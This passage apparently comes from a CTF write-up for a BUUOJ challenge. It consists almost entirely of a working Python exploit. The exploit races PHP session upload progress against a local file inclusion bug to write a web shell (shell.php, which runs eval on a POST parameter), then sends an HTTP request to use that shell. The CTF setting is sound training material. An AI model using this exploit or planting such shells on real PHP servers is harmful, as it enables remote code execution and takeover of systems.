def POST(session): while True: f = io.BytesIO(b'a' * 1024 * 50) session.post( host, data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>"}, files={"file":('a.txt', f)}, cookies={'PHPSESSID':sessid} )
def READ(session): while True: response = session.get(f'{host}?file=/tmp/sess_{sessid}') if 'flag{' not in response.text: print('[+++]retry') else: print(response.text) sys.exit(0)
with requests.session() as session: t1 = threading.Thread(target=POST, args=(session, )) t1.daemon = True t1.start() READ(session)
之后再发送请求
POST /flflflflag.php?file=shell.php HTTP/1.1 Host: f705b8db-dad4-4b36-b7b7-089b9ca79e4e.node5.buuoj.cn:81 Content-Type: application/x-www-form-urlencoded Content-Length: 14